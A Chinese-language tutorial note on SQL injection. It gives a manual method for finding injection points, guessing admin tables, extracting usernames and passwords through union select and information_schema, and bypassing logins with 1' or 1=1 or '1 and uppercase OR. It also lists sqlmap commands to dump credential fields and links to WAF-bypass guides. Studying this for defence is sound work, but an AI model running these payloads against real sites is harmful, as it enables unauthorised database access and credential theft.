#SQL注入原理 语言分类:分为解释型语言和编译型语言。在解释性语言中,程序有与用户交互。用户就可以构造特殊的输入来拼接到程序中执行,从而可执行恶意代码。例,在与用户交互的程序中,用户的输入拼接到SQL语句中,执行与原定计划不同的行为,从而产生了SQL注入漏洞。核心思想:在正常的需要调回数据库的URL后面构造一段数据库查询代码,然后根据返回结果从而获得想要的某些数据。 MySQL SQL结构化查询语言,绝大多数关系型数据库(MySQL、Access、Oracle等)都采用SQL进行查询,管理及常用操作。MySQL是被广泛使用的一种开源数据库 MySQL命令select! version(); 查看MySQL版本 select user(); 查看当前用户 select database(); 查看当前打开的数据库 show databases; 查看MySQL中共包含了哪些数据库 use test; 打开test数据库 show tables 显示数据库中的表注意username后面带有分号,而password没有 select查询语句 select * from hack; #显示hack表中的所有记录 select * from hack where id=1; #从hack表中查找满足条件id=1的记录 select username,password from hack where id=1; #从hack表中查找满足条件id=1的记录,并只显示username和password字段内容 select * from hack where id=1 and username=“admin”; #从hack表中查找同时满足条件id=1以及username=“admin”的记录 and改成or代表或 select * from news where id=1 and exists(select * from hcak); #通过exists()函数判断hack表是否存在 把* 换成username是判断hack表中是否存在username字段 select * from hack order by id; #按照hack表中的id列升序排序 select username,password from hack order by 2; #按照查询结果中的第2列(即password列)升序排序
union select联合查询 union联合查询可以一次执行两个或多个查询,并将它们的结果联合在一起输出显示。基本原则:所有查询列数必须相同 select * from news union select * from hack; #字段不匹配,查询报错 select * from news union select username,password from hack; #查询正常 select * from hack union select 1,id,title from news; #查询正常(字段不够可以这样加,随便写加)
MySQL注释语句 单行注释 以#开始直至行尾,全部是注释内容 以“-”开头直至行尾 (“-”与注释内容之间要加空格) 多行注释 /…/
判断注入点 URL: htttp://192.168.80.128/shownews.asp?id=16 SQL语句: select * from news where id=16 测试语句 htttp://192.168.80.128/shownews.asp?id=16 and 1=1 (或者and 1=2) select * from news where id=16 and 1=1(或者and 1=2) ASP加Access手工注入存在偶然性 找到注入点用exists函数猜测管理员账号在哪个表中(and exists(select from manager_user)) 猜字段名(and exists(select username from manage_user)) 再猜字段数(order by 对于某些不支持order by 排序的网站 可用 union select 1,2,3,4,5,6,7,8,9,10 from manager_user 即可以猜解字段数量又可获知显示内容的字段) 猜完字段数 用union select查询语句(union select 1,2,3,4,5,6,7,8,9 from 表名) 再看显示哪些数字 将那些数字改成需要查询的名字爆出字段内容 寻找网站后台登录 网站后台管理入口一般存放在admin或是manage的网站子目录下也可以在管理入口页面源代码中寻找字段名 常见表名 admin user adminuser manager manage manager_user 常见字段名 账号 name username user_name admin adminuser admin_user admin_username adminname 密码 password pass userpass user_pass pwd usepwd adminpwd admin_pwd 使用工具 明小子和啊D
PHP+MySQL类网站注入 主要针对information_schema数据库进行操作(跟Access不同 不需要猜) schemata:存放所有数据库的名字 tables:存放所有数据库中数据表的名字 columns:存放所有数据库中所有数据表中所有字段的名字 利用information_schema查看其它数据库内容(use information_schema) 查看test数据库中包含哪些表 select table_name from infromation_schema.tables where table_schema=“test”; 查看hack数据表中有哪些字段 select column_name from infromation_schema.columns where table_name=“hack”; 1.先找到是否存在SQL注入点(and 1=1 and 1=2),2.然后再判断字段 (order by 5)再查看可显字段(union select 1,2,3,4,5)注:MySQL在执行联合查询时,后面的查询语句不必非要指定数据表名,这点区别Access,另外联合查询同时显示时,不需显示之前内容只显示所需要内容 用 and 1=2 union select 1,2,3,4,5 3.得知能显示哪些内容时将能显示的数字替换成需要显示的东西(version(),user(),database()) 4. 然后再查看数据库中包含哪些表 (union select 1,table_name from,3,4,5 infromation_schema.tables where table_schema=“数据库名” 通过group_concat()函数可以显示字段中所有内容 ) 5.查看某个表里包含哪些字段(union select 1,column_name,3,4,5 from infromation_schema.columns where table_name=“数据库名”) 6.从表里显示字段内容 (union select 1,username,password,4,5 from 表名) 注:对于未显示出来的内容 可能是编码不一致导致的问题 利用unhex{hex()}函数进行编码转换
密码绕过 绕过语句 1’ or 1=1 or ‘1 将绕过语句代入到查询语句中 select * from admin where username=‘1’ or 1=1 or ‘1’ and password=’$mpassword’ 逻辑表达式中 and优先级高于or 对于设置的黑名单关键字 可能只把小写的or 设置成黑名单 但大写的没有设置 可将or改成OR 怎么防御 用replace函数过滤掉单引号
Access注入 sqlmap使用 sqlmap基于Python编写所以要是事先有Python环境 执行命令 sqlmap.py sqlmap.py -u “检测站点” (检查是否存在注入漏洞) sqlmap.py -u “检测站点” --tables (检测存在哪些表) sqlmap.py -u “检测站点” --columns -T “检测出的表名”(猜解字段名) sqlmap.py -u “检测站点” --dump -C “username,password” (爆出字段内容) -T选项,指定对哪个表进行猜解 --columns选项,告诉sqlmap这次任务是猜解字段名 -dump连同-C一起使用,意为猜解指定字段中的内容 sqlmap将检测结果保存到C:\Users\用户名.sqlmap\output目录中(/root/.sqlmap/output)
MySQL注入 sqlmap.py -u “检测站点”(检测是否存在注入点) sqlmap.py -u “检测站点” --dbs (检测站点中包含哪些数据库) sqlmap.py -u “检测站点” --current -db (检测当前使用时哪个数据库) sqlmap.py -u “检测站点” --current -user (检测当前用户) sqlmap.py -u “检测站点” --is -dba (检测当前账号是否为管理员账号) 检测完毕后下面操作和Access注入流程一样 sqlmap.py -u “检测站点” --tables -D “检测出数据库” (检测表名) sqlmap.py -u “检测站点” --columns -T “检测出的表名” -D “检测出数据库” (检测字段) sqlmap.py -u “检测站点” --dump -C “username,password” -T “表名” -D “数据库名”(爆出字段内容)
cookie注入 cookie用于在客户端本地保存用户访问网站时的一些身份验证信息,与get和post方法一样,都可用于客户端向服务端传递数据。 sqlmap.py -u “检测站点” --cookie “id=12” level 2 (检测完后接下来操作一样) sqlmap共有5个等级,默认为1。级别1探测get和post数据,级别2探测cookie数据。
sql手工注入学习连接http://www.vuln.cn/9027 salmap注入之tamper绕过WAF防火墙过滤http://www.vuln.cn/2086